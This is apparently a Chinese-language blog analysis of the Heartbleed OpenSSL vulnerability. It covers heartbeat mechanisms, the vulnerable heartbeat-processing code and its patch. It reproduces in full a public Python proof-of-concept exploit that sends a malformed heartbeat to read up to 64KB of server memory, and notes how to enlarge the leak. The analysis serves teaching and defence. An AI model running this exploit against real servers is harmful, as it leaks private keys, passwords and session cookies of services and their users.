OpenSSL Heartbleed CVE-2014-0160

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).

The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

关于Heartbleed 的常见问题和描述,可以看The Heartbleed Bug ps.专门为了这个漏洞建了一个网站可以想象这个漏洞在当年多么严重。

接下来我们主要搞清楚这些具体都是什么含义

Heartbeat & TCP keepalive

首先是heartbeat,它是计算机中周期性发送的某些操作或同步的信号,常常用于检测或判断资源是否可用。

在默认情况下,在建立TCP连接之后,空闲时刻客户端和服务端不会互相发送数据包确认连接。假如有一端发生异常而掉线(如死机、防火墙拦截包、服务器爆炸),另一端若不进行连接确认,则会一直消耗资源。

为了保证连接的有效性,可以检测到对方端非正常的断开,我们通常利用两种机制来实现:

  • 利用TCP协议的Keepalive
  • 在应用层实现心跳检测Heartbeat

TCP keepalive

通过定时发送Keepalive探测包来探测连接的对端是否存活.在收到对端的确认报文后,设置keepalive timer。

当长时间两端无交互并且保活定时器超时的时候,本段会发送keepalive probe等待对端确认。若对端在一定时间内确认(具体的规则貌似比较繁琐),keepalive timer重置;否则,长时间未响应,连接终止。

TCP Keepalive默认是关闭的,因为它会消耗额外的资源,并且可能会关闭正常的连接。Linux 默认net.ipv4.tcp_keepalive_time为7200s

TCP keepalive 与 HTTP keep-alive

  • 前者探测连接是否存活
  • 后者是让连接活的久一点

Heartbeat

  • 应用层Heartbeat往往由自己编写
  • 灵活且可复用,应用层心跳包不依赖于传输层协议,无论传输层协议是TCP还是UDP都可以用
  • 应用层心跳包可以定制,可以应对更复杂的情况或传输一些额外信息
  • TCP keepalive仅代表连接保持着,而心跳包往往还代表客户端可正常工作

OpenSSL

OpenSSL是一个开放源代码的软件库,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个库被广泛应用在互联网的网页服务器上。其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。关于SSL/TLS,可以参考我的这篇文章TLS/SSL流程详解

OpenSSL漏洞不仅影响以https开头的网站,攻击者还可利用此漏洞直接对个人电脑发起Heartbleed攻击

1
OpenSSL在Web容器如Apache/Nginx中使用,这两的全球份额超过66%。还在邮件服务如SMTP/POP/IMAP协议中使用,聊天服务如XMPP协议,VPN服务等多种网络服务中广泛使用。可以看到,当时有多严重

漏洞影响

主要影响涉及开启了Heartbeat扩展的OpenSSL版本1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, 1.0.1

可以通过以下代码判断网页是否开启了SSL Heartbeat扩展

1
openssl s_client -connect $website:443 -tlsextdebug 2>&1| grep 'TLS server extension "heartbeat"'

漏洞分析

这次的漏洞属于SSL实现问题,协议本身没有问题。引用一张科普图来解释这个洞。

heartbleed

通俗的解释就是OpenSSL使用heartbeat探测对方主机是否在线,提供一个字符串和其长度,希望对方回应返回原样内容,但却未对长度与实际长度做验证,导致内存信息越界访问。由于可以不断尝试,返回的数据有可能是任何内容:用户请求密码,甚至是服务器私钥都有可能。

1
2
3
4
5
struct hb {
int type;
int length;
unsigned char *data;
};

在存在问题的版本,其逻辑是这样的,假设hb上面上发过来心跳包结构,type是类型,length是data长度,*data是实际的内容,所以类型是1字节,长度是2字节,剩下的length字节是数据,我们找出openssl-1.0.1e的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int
dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
// 定义变量并赋初值,p指向一条SSLv3的记录,结构如下:
typedef struct ssl3_record_st
{
int type; /* type of record */
unsigned int length; /* How many bytes available */
unsigned int off; /* read/write offset into 'buf' */
unsigned char *data; /* pointer to the record data */
unsigned char *input; /* where the decode bytes are */
unsigned char *comp; /* only used with decompression - malloc()ed */
unsigned long epoch; /* epoch number, needed by DTLS1 */
unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
} SSL3_RECORD;

定义完之后:

1
2
3
4
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;

我们可以看到,首先hbtype取了p的第一个字节,n2s(p,payload)函数是将p指向的2个字节赋值给payload,然后再p+2, pl指向剩余的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if (s->msg_callback)...
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);
r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
if (r >= 0 && s->msg_callback)
s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
buffer, 3 + payload + padding,
s, s->msg_callback_arg);
OPENSSL_free(buffer);
if (r < 0)
return r;
...
}
else if (hbtype == TLS1_HB_RESPONSE) ...
}

代码非常清晰(我这种不会c的都看得懂):

  1. 首先判断数据包类型,如果接收到的是心跳包,则处理
  2. 为其分配了1 + 2 + payload + padding字节的缓冲区,用于返回内容,记做bufferbp指向同一位置
  3. 设置返回包数据类型TLS1_HB_RESPONSEs2nn2s用于赋值payload长度
  4. 然后从pl出复制了payload长度的内容给bp
  5. 之后给bp随机填充

我们可以看到,由于payload的是用户传递过来了,其并不一定等于实际消息内容,当payload值大于pl中实际剩余内容的长度时,就造成了漏洞,由于我们不知道pl后面内存中的内容,由于当时全网ssl还没有普及,一些关键部分使用ssl反而更加严重。(例如,账号密码,HTTP报头cookie)

我们可以分析,由于payload为2字节unsigned int,最大值为65525,即最多泄露64KB内容

补丁分析

1
2
3
4
5
6
7
8
/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
return 0; /* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;

我们可以看到,相比于之前直接取2个字节给payload,其验证了长度和考虑的长度为0的情况,其余与原来的代码一致。

漏洞利用

官方的POC如下,我们做一下分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()

我们可以看到,先建立了socket连接,然后发了client Hello,hello的内容为那一群二进制,推测应该是SSL client Hello的内容,我们抓包看一下,具体的字段分析可以看之前的SSL文章,这里注意,扩展中开启了heartbeat:

client-hello

直到收到(typ==22)server hello类型的数据包,然后下一步。发送hb然后调用hit_hb,其中hb内容为我们构造的恶意heartbeat数据包

heartbeat

其中request message01 40 00 分别对应:

1
2
3
type = 01
payload length = 0x40 00 = 16384
data = null

这里只返回了16KB 的内容,极限是F0 00(64KB)